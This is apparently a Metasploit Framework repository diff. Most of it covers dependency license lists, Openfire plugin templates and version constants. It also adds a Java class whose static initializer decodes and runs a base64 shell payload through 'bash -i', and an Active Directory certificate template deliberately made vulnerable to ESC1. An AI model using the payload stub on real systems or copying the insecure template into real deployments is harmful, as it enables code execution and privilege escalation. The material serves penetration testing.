arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.749.0, "Apache 2.0"
aws-sdk-core, 3.171.0, "Apache 2.0"
aws-sdk-ec2, 1.375.0, "Apache 2.0"
aws-sdk-iam, 1.77.0, "Apache 2.0"
aws-sdk-kms, 1.63.0, "Apache 2.0"
aws-sdk-s3, 1.120.1, "Apache 2.0"
aws-partitions, 1.776.0, "Apache 2.0"
aws-sdk-core, 3.174.0, "Apache 2.0"
aws-sdk-ec2, 1.382.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.27.0, "Apache 2.0"
aws-sdk-iam, 1.79.0, "Apache 2.0"
aws-sdk-kms, 1.66.0, "Apache 2.0"
aws-sdk-s3, 1.123.1, "Apache 2.0"
aws-sdk-ssm, 1.151.0, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
@@ -31,7 +35,8 @@ concurrent-ruby, 1.2.2, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
debug, 1.7.2, "ruby, Simplified BSD"
date, 3.3.3, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.70.0, "Apache 2.0"
docile, 1.4.0, MIT
@@ -44,9 +49,9 @@ eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 3.2.0, MIT
faraday, 2.7.4, MIT
faraday, 2.7.6, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.1.0, MIT
faraday-retry, 2.2.0, MIT
faye-websocket, 0.11.2, "Apache 2.0"
ffi, 1.15.5, "New BSD"
filesize, 0.2.0, MIT
@@ -59,63 +64,67 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.5, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.12.0, MIT
i18n, 1.14.1, MIT
io-console, 0.6.0, "ruby, Simplified BSD"
irb, 1.6.4, "ruby, Simplified BSD"
irb, 1.7.0, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.3, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
loofah, 2.20.0, MIT
loofah, 2.21.3, MIT
macaddr, 1.7.2, ruby
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.4, "New BSD"
metasploit-framework, 6.3.16, "New BSD"
metasploit-credential, 6.0.5, "New BSD"
metasploit-framework, 6.3.38, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.130, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.156, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.1, MIT
mime-types, 3.4.1, MIT
mime-types-data, 3.2023.0218.1, MIT
mini_portile2, 2.8.2, MIT
minitest, 5.18.0, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 3.0.0, MIT
nessus_rest, 0.1.6, MIT
net-imap, 0.3.7, "ruby, Simplified BSD"
net-ldap, 0.18.0, MIT
net-protocol, 0.2.1, "ruby, Simplified BSD"
net-smtp, 0.3.3, "ruby, Simplified BSD"
net-ssh, 7.1.0, MIT
network_interface, 0.0.2, MIT
network_interface, 0.0.4, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.9, MIT
nokogiri, 1.14.3, MIT
nokogiri, 1.14.5, MIT
nori, 2.6.0, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
packetfu, 2.0.0, "New BSD"
parallel, 1.23.0, MIT
parser, 3.2.2.1, MIT
parser, 3.2.2.3, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.11.0, MIT
pg, 1.4.6, "Simplified BSD"
pg, 1.5.3, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 5.0.1, MIT
puma, 6.2.2, "New BSD"
racc, 1.6.2, "ruby, Simplified BSD"
rack, 2.2.6.4, MIT
puma, 6.3.0, "New BSD"
racc, 1.7.0, "ruby, Simplified BSD"
rack, 2.2.7, MIT
rack-protection, 3.0.6, MIT
rack-test, 2.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.5.0, MIT
railties, 7.0.4.3, MIT
rails-html-sanitizer, 1.6.0, MIT
railties, 7.0.5, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rasn1, 0.12.1, MIT
@@ -123,10 +132,11 @@ rb-readline, 0.5.5, BSD
recog, 3.1.1, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.8.0, MIT
reline, 0.3.3, ruby
reline, 0.3.5, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.30, "New BSD"
rex-core, 0.1.31, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.38, "New BSD"
rex-java, 0.1.6, "New BSD"
@@ -137,23 +147,24 @@ rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.49, "New BSD"
rex-socket, 0.1.54, "New BSD"
rex-sslscan, 0.1.9, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.50, "New BSD"
rex-text, 0.2.52, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.1, MIT
rspec-expectations, 3.12.2, MIT
rspec-core, 3.12.2, MIT
rspec-expectations, 3.12.3, MIT
rspec-mocks, 3.12.5, MIT
rspec-rails, 6.0.1, MIT
rspec-rails, 6.0.3, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.12.0, MIT
rubocop, 1.50.2, MIT
rubocop-ast, 1.28.0, MIT
rubocop, 1.52.0, MIT
rubocop-ast, 1.29.0, MIT
ruby-macho, 3.0.0, MIT
ruby-mysql, 4.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
@@ -166,15 +177,17 @@ simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 3.0.6, MIT
sqlite3, 1.6.2, "New BSD"
sqlite3, 1.6.3, "New BSD"
sshkey, 2.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
systemu, 2.6.5, ruby
test-prof, 1.2.2, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.2.1, MIT
tilt, 2.1.0, MIT
thor, 1.2.2, MIT
tilt, 2.2.0, MIT
timecop, 0.9.6, MIT
timeout, 0.3.2, "ruby, Simplified BSD"
timeout, 0.4.0, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2023.3, MIT
@@ -182,6 +195,7 @@ unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.4.2, MIT
unix-crypt, 1.3.1, 0BSD
uuid, 2.3.9, MIT
warden, 1.2.9, MIT
webrick, 1.8.1, "ruby, Simplified BSD"
websocket-driver, 0.7.5, "Apache 2.0"
@@ -192,4 +206,4 @@ winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.34, MIT
zeitwerk, 2.6.7, MIT
zeitwerk, 2.6.8, MIT
+2 -2
View File
@@ -91,8 +91,8 @@ begin
}
invalidate_bootsnap_cache!(bootsnap_config)
Bootsnap.setup(**bootsnap_config)
rescue
$stderr.puts 'Warning: Failed bootsnap cache setup'
rescue => e
$stderr.puts "Warning: Failed bootsnap cache setup - #{e.class} #{e} #{e.backtrace}"
begin
FileUtils.rm_rf(cache_dir, secure: true)
rescue
+15
View File
@@ -0,0 +1,15 @@
---
info:
title: Metasploit Framework
description: Metasploit Framework
x-cortex-git:
github:
alias: r7org
repository: rapid7/metasploit-framework
x-cortex-tag: metasploit-framework
x-cortex-type: service
x-cortex-domain-parents:
- tag: metasploit
openapi: 3.0.1
servers:
- url: "/"
@@ -0,0 +1,27 @@
---
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
# the request). Fields are based on the SubCA template. For field descriptions,
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
showInAdvancedViewOnly: 'TRUE'
# this security descriptor grants all permissions to all authenticated users
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
flags: 0
pKIDefaultKeySpec: 2
pKIKeyUsage: !binary |-
hgA=
pKIMaxIssuingDepth: -1
pKICriticalExtensions:
- 2.5.29.19
- 2.5.29.15
pKIExpirationPeriod: !binary |-
AEAepOhl+v8=
pKIOverlapPeriod: !binary |-
AICmCv/e//8=
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
msPKI-RA-Signature: 0
msPKI-Enrollment-Flag: 0
# CT_FLAG_EXPORTABLE_KEY
msPKI-Private-Key-Flag: 0x10
# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
msPKI-Certificate-Name-Flag: 1
msPKI-Minimal-Key-Size: 2048
Binary file not shown.
@@ -0,0 +1,11 @@
import java.util.Base64;
public class PayloadRuns {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}");
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 256 KiB

+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin changelog</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add changelog content here
</p>
</body>
</html>
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1021 B

+10
View File
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?>
<plugin>
<class>com.example.openfire.plugin.Example</class>
<name>PLUGINNAME</name>
<description>PLUGINDESCRIPTION</description>
<author>PLUGINAUTHOR</author>
<version>1.0.0</version>
<date>7/7/2008</date>
<minServerVersion>3.5.0</minServerVersion>
</plugin>
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin readme</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add readme content here
</p>
</body>
</html>
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
+615
View File
@@ -0,0 +1,615 @@
[
"V3_0_0_SNAPSHOT",
"V3_0_0_ALPHA1",
"V3_0_0_BETA1",
"V3_0_0_BETA2",
"V3_0_0_BETA3",
"V3_0_0_BETA4",
"V3_0_0_BETA5",
"V3_0_0_BETA6_SNAPSHOT",
"V3_0_0_BETA6",
"V3_0_0_BETA7_SNAPSHOT",
"V3_0_0_BETA7",
"V3_0_0_BETA8_SNAPSHOT",
"V3_0_0_BETA8",
"V3_0_0_BETA9_SNAPSHOT",
"V3_0_0_BETA9",
"V3_0_0_FINAL",
"V3_0_1_SNAPSHOT",
"V3_0_1",
"V3_0_2_SNAPSHOT",
"V3_0_2",
"V3_0_3_SNAPSHOT",
"V3_0_3",
"V3_0_4_SNAPSHOT",
"V3_0_4",
"V3_0_5_SNAPSHOT",
"V3_0_5",
"V3_0_6_SNAPSHOT",
"V3_0_6",
"V3_0_7_SNAPSHOT",
"V3_0_7",
"V3_0_8_SNAPSHOT",
"V3_0_8",
"V3_0_9_SNAPSHOT",
"V3_0_9",
"V3_0_10_SNAPSHOT",
"V3_0_10",
"V3_0_11_SNAPSHOT",
"V3_0_11",
"V3_0_12_SNAPSHOT",
"V3_0_12",
"V3_0_13_SNAPSHOT",
"V3_0_13",
"V3_0_14_SNAPSHOT",
"V3_0_14",
"V3_0_15_SNAPSHOT",
"V3_0_15",
"V3_1_0_SNAPSHOT",
"V3_1_0",
"V3_1_1_SNAPSHOT",
"V3_1_1",
"V3_1_2_SNAPSHOT",
"V3_1_2",
"V3_1_3_SNAPSHOT",
"V3_1_3",
"V3_1_4_SNAPSHOT",
"V3_1_4",
"V3_1_5_SNAPSHOT",
"V3_1_5",
"V3_1_6_SNAPSHOT",
"V3_1_6",
"V3_1_7_SNAPSHOT",
"V3_1_7",
"V3_1_8_SNAPSHOT",
"V3_1_8",
"V3_1_9_SNAPSHOT",
"V3_1_9",
"V3_2_0_SNAPSHOT",
"V3_2_0",
"V3_2_1_SNAPSHOT",
"V3_2_1",
"V3_2_2_SNAPSHOT",
"V3_2_2",
"V3_2_3_SNAPSHOT",
"V3_2_3",
"V3_2_4_SNAPSHOT",
"V3_2_4",
"V3_2_5_SNAPSHOT",
"V3_2_5",
"V3_2_6_SNAPSHOT",
"V3_2_6",
"V3_2_7_SNAPSHOT",
"V3_2_7",
"V3_2_8_SNAPSHOT",
"V3_2_8",
"V3_2_9_SNAPSHOT",
"V3_2_9",
"V3_3_1_SNAPSHOT",
"V3_3_1",
"V3_3_2_SNAPSHOT",
"V3_3_2",
"V3_3_3_SNAPSHOT",
"V3_3_3",
"V3_3_4_SNAPSHOT",
"V3_3_4",
"V3_3_5_SNAPSHOT",
"V3_3_5",
"V3_3_6_SNAPSHOT",
"V3_3_6",
"V3_3_7_SNAPSHOT",
"V3_3_7",
"V3_3_8_SNAPSHOT",
"V3_3_8",
"V3_3_9_SNAPSHOT",
"V3_3_9",
"V3_4_1_SNAPSHOT",
"V3_4_1",
"V3_4_2_SNAPSHOT",
"V3_4_2",
"V3_4_3_SNAPSHOT",
"V3_4_3",
"V3_4_4_SNAPSHOT",
"V3_4_4",
"V3_4_5_SNAPSHOT",
"V3_4_5",
"V3_4_6_SNAPSHOT",
"V3_4_6",
"V3_4_7_SNAPSHOT",
"V3_4_7",
"V3_4_8_SNAPSHOT",
"V3_4_8",
"V3_4_9_SNAPSHOT",
"V3_4_9",
"V3_5_1_SNAPSHOT",
"V3_5_1",
"V3_5_2_SNAPSHOT",
"V3_5_2",
"V3_5_3_SNAPSHOT",
"V3_5_3",
"V3_5_4_SNAPSHOT",
"V3_5_4",
"V3_5_5_SNAPSHOT",
"V3_5_5",
"V3_5_6_SNAPSHOT",
"V3_5_6",
"V3_5_7_SNAPSHOT",
"V3_5_7",
"V3_5_8_SNAPSHOT",
"V3_5_8",
"V3_5_9_SNAPSHOT",
"V3_5_9",
"V3_6_1_SNAPSHOT",
"V3_6_1",
"V3_6_2_SNAPSHOT",
"V3_6_2",
"V3_6_3_SNAPSHOT",
"V3_6_3",
"V3_6_4_SNAPSHOT",
"V3_6_4",
"V3_6_5_SNAPSHOT",
"V3_6_5",
"V3_6_6_SNAPSHOT",
"V3_6_6",
"V3_6_7_SNAPSHOT",
"V3_6_7",
"V3_6_8_SNAPSHOT",
"V3_6_8",
"V3_6_9_SNAPSHOT",
"V3_6_9",
"V3_7_1_SNAPSHOT",
"V3_7_1",
"V3_7_2_SNAPSHOT",
"V3_7_2",
"V3_7_3_SNAPSHOT",
"V3_7_3",
"V3_7_4_SNAPSHOT",
"V3_7_4",
"V3_7_5_SNAPSHOT",
"V3_7_5",
"V3_7_6_SNAPSHOT",
"V3_7_6",
"V3_7_7_SNAPSHOT",
"V3_7_7",
"V3_7_8_SNAPSHOT",
"V3_7_8",
"V3_7_9_SNAPSHOT",
"V3_7_9",
"V3_8_1_SNAPSHOT",
"V3_8_1",
"V3_8_2_SNAPSHOT",
"V3_8_2",
"V3_8_3_SNAPSHOT",
"V3_8_3",
"V3_8_4_SNAPSHOT",
"V3_8_4",
"V3_8_5_SNAPSHOT",
"V3_8_5",
"V3_8_6_SNAPSHOT",
"V3_8_6",
"V3_8_7_SNAPSHOT",
"V3_8_7",
"V3_8_8_SNAPSHOT",
"V3_8_8",
"V3_8_9_SNAPSHOT",
"V3_8_9",
"V3_9_1_SNAPSHOT",
"V3_9_1",
"V3_9_2_SNAPSHOT",
"V3_9_2",
"V3_9_3_SNAPSHOT",
"V3_9_3",
"V3_9_4_SNAPSHOT",
"V3_9_4",
"V3_9_5_SNAPSHOT",
"V3_9_5",
"V3_9_6_SNAPSHOT",
"V3_9_6",
"V3_9_7_SNAPSHOT",
"V3_9_7",
"V3_9_8_SNAPSHOT",
"V3_9_8",
"V3_9_9_SNAPSHOT",
"V3_9_9",
"V4_0_0_SNAPSHOT",
"V4_0_0",
"V4_0_1_SNAPSHOT",
"V4_0_1",
"V4_0_2_SNAPSHOT",
"V4_0_2",
"V4_0_3_SNAPSHOT",
"V4_0_3",
"V4_0_4_SNAPSHOT",
"V4_0_4",
"V4_0_5_SNAPSHOT",
"V4_0_5",
"V4_0_6_SNAPSHOT",
"V4_0_6",
"V4_0_7_SNAPSHOT",
"V4_0_7",
"V4_0_8_SNAPSHOT",
"V4_0_8",
"V4_0_9_SNAPSHOT",
"V4_0_9",
"V4_1_0_SNAPSHOT",
"V4_1_0",
"V4_1_1_SNAPSHOT",
"V4_1_1",
"V4_1_2_SNAPSHOT",
"V4_1_2",
"V4_1_3_SNAPSHOT",
"V4_1_3",
"V4_1_4_SNAPSHOT",
"V4_1_4",
"V4_1_5_SNAPSHOT",
"V4_1_5",
"V4_1_6_SNAPSHOT",
"V4_1_6",
"V4_1_7_SNAPSHOT",
"V4_1_7",
"V4_1_8_SNAPSHOT",
"V4_1_8",
"V4_1_9_SNAPSHOT",
"V4_1_9",
"V4_2_0_SNAPSHOT",
"V4_2_0",
"V4_2_1_SNAPSHOT",
"V4_2_1",
"V4_2_2_SNAPSHOT",
"V4_2_2",
"V4_2_3_SNAPSHOT",
"V4_2_3",
"V4_2_4_SNAPSHOT",
"V4_2_4",
"V4_2_5_SNAPSHOT",
"V4_2_5",
"V4_2_6_SNAPSHOT",
"V4_2_6",
"V4_2_7_SNAPSHOT",
"V4_2_7",
"V4_2_8_SNAPSHOT",
"V4_2_8",
"V4_2_9_SNAPSHOT",
"V4_2_9",
"V4_3_0_SNAPSHOT",
"V4_3_0",
"V4_3_1_SNAPSHOT",
"V4_3_1",
"V4_3_2_SNAPSHOT",
"V4_3_2",
"V4_3_3_SNAPSHOT",
"V4_3_3",
"V4_3_4_SNAPSHOT",
"V4_3_4",
"V4_3_5_SNAPSHOT",
"V4_3_5",
"V4_3_6_SNAPSHOT",
"V4_3_6",
"V4_3_7_SNAPSHOT",
"V4_3_7",
"V4_3_8_SNAPSHOT",
"V4_3_8",
"V4_3_9_SNAPSHOT",
"V4_3_9",
"V4_4_0_SNAPSHOT",
"V4_4_0",
"V4_4_1_SNAPSHOT",
"V4_4_1",
"V4_4_2_SNAPSHOT",
"V4_4_2",
"V4_4_3_SNAPSHOT",
"V4_4_3",
"V4_4_4_SNAPSHOT",
"V4_4_4",
"V4_4_5_SNAPSHOT",
"V4_4_5",
"V4_4_6_SNAPSHOT",
"V4_4_6",
"V4_4_7_SNAPSHOT",
"V4_4_7",
"V4_4_8_SNAPSHOT",
"V4_4_8",
"V4_4_9_SNAPSHOT",
"V4_4_9",
"V4_5_0_SNAPSHOT",
"V4_5_0",
"V4_5_1_SNAPSHOT",
"V4_5_1",
"V4_5_2_SNAPSHOT",
"V4_5_2",
"V4_5_3_SNAPSHOT",
"V4_5_3",
"V4_5_4_SNAPSHOT",
"V4_5_4",
"V4_5_5_SNAPSHOT",
"V4_5_5",
"V4_5_6_SNAPSHOT",
"V4_5_6",
"V4_5_7_SNAPSHOT",
"V4_5_7",
"V4_5_8_SNAPSHOT",
"V4_5_8",
"V4_5_9_SNAPSHOT",
"V4_5_9",
"V4_6_0_SNAPSHOT",
"V4_6_0",
"V4_6_1_SNAPSHOT",
"V4_6_1",
"V4_6_2_SNAPSHOT",
"V4_6_2",
"V4_6_3_SNAPSHOT",
"V4_6_3",
"V4_6_4_SNAPSHOT",
"V4_6_4",
"V4_6_5_SNAPSHOT",
"V4_6_5",
"V4_6_6_SNAPSHOT",
"V4_6_6",
"V4_6_7_SNAPSHOT",
"V4_6_7",
"V4_6_8_SNAPSHOT",
"V4_6_8",
"V4_6_9_SNAPSHOT",
"V4_6_9",
"V4_7_0_SNAPSHOT",
"V4_7_0",
"V4_7_1_SNAPSHOT",
"V4_7_1",
"V4_7_2_SNAPSHOT",
"V4_7_2",
"V4_7_3_SNAPSHOT",
"V4_7_3",
"V4_7_4_SNAPSHOT",
"V4_7_4",
"V4_7_5_SNAPSHOT",
"V4_7_5",
"V4_7_6_SNAPSHOT",
"V4_7_6",
"V4_7_7_SNAPSHOT",
"V4_7_7",
"V4_7_8_SNAPSHOT",
"V4_7_8",
"V4_7_9_SNAPSHOT",
"V4_7_9",
"V4_8_0_SNAPSHOT",
"V4_8_0",
"V4_8_1_SNAPSHOT",
"V4_8_1",
"V4_8_2_SNAPSHOT",
"V4_8_2",
"V4_8_3_SNAPSHOT",
"V4_8_3",
"V4_8_4_SNAPSHOT",
"V4_8_4",
"V4_8_5_SNAPSHOT",
"V4_8_5",
"V4_8_6_SNAPSHOT",
"V4_8_6",
"V4_8_7_SNAPSHOT",
"V4_8_7",
"V4_8_8_SNAPSHOT",
"V4_8_8",
"V4_8_9_SNAPSHOT",
"V4_8_9",
"V4_9_0_SNAPSHOT",
"V4_9_0",
"V4_9_1_SNAPSHOT",
"V4_9_1",
"V4_9_2_SNAPSHOT",
"V4_9_2",
"V4_9_3_SNAPSHOT",
"V4_9_3",
"V4_9_4_SNAPSHOT",
"V4_9_4",
"V4_9_5_SNAPSHOT",
"V4_9_5",
"V4_9_6_SNAPSHOT",
"V4_9_6",
"V4_9_7_SNAPSHOT",
"V4_9_7",
"V4_9_8_SNAPSHOT",
"V4_9_8",
"V4_9_9_SNAPSHOT",
"V4_9_9",
"V5_0_0_SNAPSHOT",
"V5_0_0",
"V5_0_1_SNAPSHOT",
"V5_0_1",
"V5_0_2_SNAPSHOT",
"V5_0_2",
"V5_0_3_SNAPSHOT",
"V5_0_3",
"V5_0_4_SNAPSHOT",
"V5_0_4",
"V5_0_5_SNAPSHOT",
"V5_0_5",
"V5_0_6_SNAPSHOT",
"V5_0_6",
"V5_0_7_SNAPSHOT",
"V5_0_7",
"V5_0_8_SNAPSHOT",
"V5_0_8",
"V5_0_9_SNAPSHOT",
"V5_0_9",
"V5_1_0_SNAPSHOT",
"V5_1_0",
"V5_1_1_SNAPSHOT",
"V5_1_1",
"V5_1_2_SNAPSHOT",
"V5_1_2",
"V5_1_3_SNAPSHOT",
"V5_1_3",
"V5_1_4_SNAPSHOT",
"V5_1_4",
"V5_1_5_SNAPSHOT",
"V5_1_5",
"V5_1_6_SNAPSHOT",
"V5_1_6",
"V5_1_7_SNAPSHOT",
"V5_1_7",
"V5_1_8_SNAPSHOT",
"V5_1_8",
"V5_1_9_SNAPSHOT",
"V5_1_9",
"V5_2_0_SNAPSHOT",
"V5_2_0",
"V5_2_1_SNAPSHOT",
"V5_2_1",
"V5_2_2_SNAPSHOT",
"V5_2_2",
"V5_2_3_SNAPSHOT",
"V5_2_3",
"V5_2_4_SNAPSHOT",
"V5_2_4",
"V5_2_5_SNAPSHOT",
"V5_2_5",
"V5_2_6_SNAPSHOT",
"V5_2_6",
"V5_2_7_SNAPSHOT",
"V5_2_7",
"V5_2_8_SNAPSHOT",
"V5_2_8",
"V5_2_9_SNAPSHOT",
"V5_2_9",
"V5_3_0_SNAPSHOT",
"V5_3_0",
"V5_3_1_SNAPSHOT",
"V5_3_1",
"V5_3_2_SNAPSHOT",
"V5_3_2",
"V5_3_3_SNAPSHOT",
"V5_3_3",
"V5_3_4_SNAPSHOT",
"V5_3_4",
"V5_3_5_SNAPSHOT",
"V5_3_5",
"V5_3_6_SNAPSHOT",
"V5_3_6",
"V5_3_7_SNAPSHOT",
"V5_3_7",
"V5_3_8_SNAPSHOT",
"V5_3_8",
"V5_3_9_SNAPSHOT",
"V5_3_9",
"V5_4_0_SNAPSHOT",
"V5_4_0",
"V5_4_1_SNAPSHOT",
"V5_4_1",
"V5_4_2_SNAPSHOT",
"V5_4_2",
"V5_4_3_SNAPSHOT",
"V5_4_3",
"V5_4_4_SNAPSHOT",
"V5_4_4",
"V5_4_5_SNAPSHOT",
"V5_4_5",
"V5_4_6_SNAPSHOT",
"V5_4_6",
"V5_4_7_SNAPSHOT",
"V5_4_7",
"V5_4_8_SNAPSHOT",
"V5_4_8",
"V5_4_9_SNAPSHOT",
"V5_4_9",
"V5_5_0_SNAPSHOT",
"V5_5_0",
"V5_5_1_SNAPSHOT",
"V5_5_1",
"V5_5_2_SNAPSHOT",
"V5_5_2",
"V5_5_3_SNAPSHOT",
"V5_5_3",
"V5_5_4_SNAPSHOT",
"V5_5_4",
"V5_5_5_SNAPSHOT",
"V5_5_5",
"V5_5_6_SNAPSHOT",
"V5_5_6",
"V5_5_7_SNAPSHOT",
"V5_5_7",
"V5_5_8_SNAPSHOT",
"V5_5_8",
"V5_5_9_SNAPSHOT",
"V5_5_9",
"V5_6_0_SNAPSHOT",
"V5_6_0",
"V5_6_1_SNAPSHOT",
"V5_6_1",
"V5_6_2_SNAPSHOT",
"V5_6_2",
"V5_6_3_SNAPSHOT",
"V5_6_3",
"V5_6_4_SNAPSHOT",
"V5_6_4",
"V5_6_5_SNAPSHOT",
"V5_6_5",
"V5_6_6_SNAPSHOT",
"V5_6_6",
"V5_6_7_SNAPSHOT",
"V5_6_7",
"V5_6_8_SNAPSHOT",
"V5_6_8",
"V5_6_9_SNAPSHOT",
"V5_6_9",
"V5_7_0_SNAPSHOT",
"V5_7_0",
"V5_7_1_SNAPSHOT",
"V5_7_1",
"V5_7_2_SNAPSHOT",
"V5_7_2",
"V5_7_3_SNAPSHOT",
"V5_7_3",
"V5_7_4_SNAPSHOT",
"V5_7_4",
"V5_7_5_SNAPSHOT",
"V5_7_5",
"V5_7_6_SNAPSHOT",
"V5_7_6",
"V5_7_7_SNAPSHOT",
"V5_7_7",
"V5_7_8_SNAPSHOT",
"V5_7_8",
"V5_7_9_SNAPSHOT",
"V5_7_9",
"V5_8_0_SNAPSHOT",
"V5_8_0",
"V5_8_1_SNAPSHOT",
"V5_8_1",
"V5_8_2_SNAPSHOT",
"V5_8_2",
"V5_8_3_SNAPSHOT",
"V5_8_3",
"V5_8_4_SNAPSHOT",
"V5_8_4",
"V5_8_5_SNAPSHOT",
"V5_8_5",
"V5_8_6_SNAPSHOT",
"V5_8_6",
"V5_8_7_SNAPSHOT",
"V5_8_7",
"V5_8_8_SNAPSHOT",
"V5_8_8",
"V5_8_9_SNAPSHOT",
"V5_8_9",
"V5_9_0_SNAPSHOT",
"V5_9_0",
"V5_9_1_SNAPSHOT",
"V5_9_1",
"V5_9_2_SNAPSHOT",
"V5_9_2",
"V5_9_3_SNAPSHOT",
"V5_9_3",
"V5_9_4_SNAPSHOT",
"V5_9_4",
"V5_9_5_SNAPSHOT",
"V5_9_5",
"V5_9_6_SNAPSHOT",
"V5_9_6",
